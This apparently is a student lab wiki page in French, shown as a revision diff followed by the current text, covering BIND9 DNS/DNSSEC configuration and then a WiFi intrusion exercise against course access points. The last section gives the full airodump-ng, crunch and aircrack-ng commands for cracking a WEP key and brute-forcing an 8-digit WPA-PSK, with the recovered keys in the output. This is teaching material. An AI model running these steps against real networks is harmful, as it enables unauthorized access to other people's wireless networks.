« Atelier SysRes SE4 2025/2026 E10 » : différence entre les versions
Aucun résumé des modifications |
|||
| (6 versions intermédiaires par le même utilisateur non affichées) | |||
| Ligne 5 : | Ligne 5 : | ||
== DNS/DNSSEC == | == DNS/DNSSEC == | ||
=== Prérequis === | |||
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services. | Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services. | ||
| Ligne 16 : | Ligne 16 : | ||
* '''.csr''' : la demande de signature du certificat | * '''.csr''' : la demande de signature du certificat | ||
=== Configuration du paquetage bind9 === | |||
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>. | Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>. | ||
Ensuite, il faut configurer un fichier de zone.<syntaxhighlight> | Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight> | ||
$TTL 400 | $TTL 400 | ||
; Zone file for tompere.online | ; Zone file for tompere.online | ||
| Ligne 79 : | Ligne 79 : | ||
}; | }; | ||
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour. | </syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour. | ||
=== Glue Record === | |||
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un '''Glue Record''' sur '''Gandi'''. | |||
Cela permet d’associer l’adresse '''IPv4''' de la machine mandataire et l’adresse '''IPv6''' de ma machine de services aux serveurs de noms du domaine. | |||
* ns.tompere2.xyz | |||
** IPv4 : <code>193.48.57.168</code> | |||
** IPv6 : <code>2001:660:4401:60a0:216:3eff:fe3f:9410</code> | |||
=== DNSSEC === | |||
Pour sécuriser le DNS et avoir un site en HTTPS, nous devons apporter quelques modifications au fichier <code>/etc/bind/named.conf.local</code>. | |||
En effet, nous allons rajouter ces lignes dans <code>zone "tompere2.xyz"</code> <syntaxhighlight> | |||
notify yes; // Notification des secondaires | |||
key-directory "/etc/bind/keys"; //repertoire des keys | |||
dnssec-policy "dnspol"; //utilisation d'une politique DNSSEC | |||
inline-signing yes; //activation de la signature automatique | |||
</syntaxhighlight>De plus, il faut ajouter<syntaxhighlight> | |||
dnssec-policy "dnspol" { | |||
keys { | |||
ksk key-directory lifetime unlimited algorithm 13; | |||
zsk key-directory lifetime unlimited algorithm 13; | |||
}; | |||
nsec3param; | |||
}; | |||
</syntaxhighlight>Ces lignes servent à définir une '''politique de signature'''. Cela indique quelles clés utiliser (KSK/ZSK), leur durée de vie et l’algorithme de signature. | |||
Les clés vont être créer automatiquement au redémarrage de bind, mais il faut pour cela créer un dossier <code>/bind/keys</code><syntaxhighlight> | |||
mkdir /etc/bind/keys | |||
chown bind:bind /etc/bind/keys | |||
chmod 750 /etc/bind/keys | |||
</syntaxhighlight>Enfin, nous pouvons redémarrer bind pour vérifier la création des clés.<syntaxhighlight> | |||
systemctl restart named | |||
systemctl enable named | |||
</syntaxhighlight>Les clés sont biens générées ! | |||
Il faut désormais '''copier la clé publique''' (.key) sur '''Gandi'''. | |||
Dans mon cas, j'avais 2 clés publiques .key, donc j'ai copié ces deux clés sur Gandi, mais comme nous allons voir, une seule est utile. | |||
Pour mieux visualiser le déploiement de notre DNS, nous pouvons utiliser deux sites bien utiles : | |||
*https://dnschecker.org/ | |||
*https://dnsviz.net/ | |||
<small>Remarque : Nous avons également utilisé <code>dig</code> pour nos tests intermédiaires.</small> | |||
Le premier site, DNSChecker, nous informe si la propagation de notre DNS a eu lieu. | |||
Dans le cas de '''tompere2.xyz''', on voit que c'est bon, aussi bien en IPv4 qu'en IPv6. | |||
[[Fichier:Déploiement IPv4.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]] | |||
[[Fichier:Déploiement DNS IPv6.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]] | |||
Le DNS marche bien ! Super ! | |||
Il faut maintenant s'assurer que la partie sécurisée, fonctionne également. | |||
Rendons nous sur '''DNSViz''', un outil qui nous donnera plus d'informations à ce sujet. | |||
[[Fichier:DNS Viz.png|néant|vignette|Le DNSSEC fonctionne !]] | |||
Comme on le vois, le DNSSEC fonctionne ! Cela dit, une clé est inutilisée, comme indiqué sur le schéma en gris clair. Nous pouvons la supprimer de '''Gandi,''' pour rendre l'architecture plus cohérente. | |||
== Serveur Apache == | == Serveur Apache == | ||
Version actuelle datée du 10 février 2026 à 23:41
Machines virtuelles
Configuration réseau
DNS/DNSSEC
Prérequis
Nous devons configurer un serveur DNS, qui associe tompere.online et tompere2.xyz, aux machines de services.
Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.
Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.
- .key : la clé privée du domaine
- .csr : la demande de signature du certificat
Configuration du paquetage bind9
Il faut installer le paquetage bind9 avec apt.
Ensuite, il faut configurer un fichier de zone : /etc/bind/zones/tompere2_xyz/tompere2.xyz.
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)
; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.
; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168
; CNAME records
www IN CNAME tompere2.xyz.Nous avons choisi ns comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section External Nameservers de Gandi.
Concernant l'adresse IPv4, 193.48.57.168 est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.
Par ailleurs, il faut bien penser à ajouter les permissions aux dossiers parents de ce fichier de zone. Sinon, des logs "Permission Denied" apparaîtront, et le DNS sera non fonctionnel.
La syntaxe de ce fichier doit être précise, ainsi, il est pratique de vérifier la validité du fichier via l'utilitaire named-checkzone.
Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.
Maintenant, modifions le fichier /etc/bind/named.conf.local
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };
};
acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};
masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};
zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.
Glue Record
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un Glue Record sur Gandi.
Cela permet d’associer l’adresse IPv4 de la machine mandataire et l’adresse IPv6 de ma machine de services aux serveurs de noms du domaine.
- ns.tompere2.xyz
- IPv4 :
193.48.57.168 - IPv6 :
2001:660:4401:60a0:216:3eff:fe3f:9410
- IPv4 :
DNSSEC
Pour sécuriser le DNS et avoir un site en HTTPS, nous devons apporter quelques modifications au fichier /etc/bind/named.conf.local.
En effet, nous allons rajouter ces lignes dans zone "tompere2.xyz"
notify yes; // Notification des secondaires
key-directory "/etc/bind/keys"; //repertoire des keys
dnssec-policy "dnspol"; //utilisation d'une politique DNSSEC
inline-signing yes; //activation de la signature automatiqueDe plus, il faut ajouter
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};Ces lignes servent à définir une politique de signature. Cela indique quelles clés utiliser (KSK/ZSK), leur durée de vie et l’algorithme de signature.
Les clés vont être créer automatiquement au redémarrage de bind, mais il faut pour cela créer un dossier /bind/keys
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keysEnfin, nous pouvons redémarrer bind pour vérifier la création des clés.
systemctl restart named
systemctl enable namedLes clés sont biens générées !
Il faut désormais copier la clé publique (.key) sur Gandi.
Dans mon cas, j'avais 2 clés publiques .key, donc j'ai copié ces deux clés sur Gandi, mais comme nous allons voir, une seule est utile.
Pour mieux visualiser le déploiement de notre DNS, nous pouvons utiliser deux sites bien utiles :
Remarque : Nous avons également utilisé dig pour nos tests intermédiaires.
Le premier site, DNSChecker, nous informe si la propagation de notre DNS a eu lieu.
Dans le cas de tompere2.xyz, on voit que c'est bon, aussi bien en IPv4 qu'en IPv6.
Le DNS marche bien ! Super !
Il faut maintenant s'assurer que la partie sécurisée, fonctionne également.
Rendons nous sur DNSViz, un outil qui nous donnera plus d'informations à ce sujet.
Comme on le vois, le DNSSEC fonctionne ! Cela dit, une clé est inutilisée, comme indiqué sur le schéma en gris clair. Nous pouvons la supprimer de Gandi, pour rendre l'architecture plus cohérente.
Serveur Apache
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via apache2.
Fail2Ban
Effraction WiFi
Cassage de clef WEP d’un point d’accès WiFi
Adresse MAC de cracotte10
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser airodump-ng. Pour ce faire, nous devons tout d'abord trouver le nom de la carte réseau. On peut trouver cela via ip link.
J'obtiens alors wlan0, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le wlx40a5efd2140c
Ensuite, on scanne grâce à:
sudo airodump-ng wlx40a5efd2140c --essid cracotte10
Nous obtenons :
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10
BSSID STATION PWR Rate Lost Frames Notes ProbesL'adresse MAC de cracotte10 est donc
04:DA:D2:9C:50:59
Récupération de données
Une fois l'adresse mac et le canal récupérés, nous pouvons récupérer un flux de données qui sera stocké dans un fichier .cap
sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump
Cassage de la clef WEP
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.
sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap
Si le programme réussit, nous obtenons la clef !
KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]
Cassage de mot de passe WPA-PSK par force brute
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.
Adresse MAC de kracotte10
Nous obtenons l'adresse MAC grâce à:
sudo airodump-ng wlx40a5efd2140c --essid kracotte10
Nous obtenons :
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10
BSSID STATION PWR Rate Lost Frames Notes ProbesL'adresse MAC de kracotte10 est donc
44:AD:D9:5F:87:09
Dictionnaire
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage crunch est l'outil parfait dans notre cas.
Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :
crunch 8 8 0123456789 -o 8numbers_dico.txt
Handshake
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump
Cassage de la clef WPA-PSK
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:
sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap
Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.
Aircrack-ng 1.7
[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)
Time left: 16 minutes, 4 seconds 66.63%
KEY FOUND! [ 66680666 ]
Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65
Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E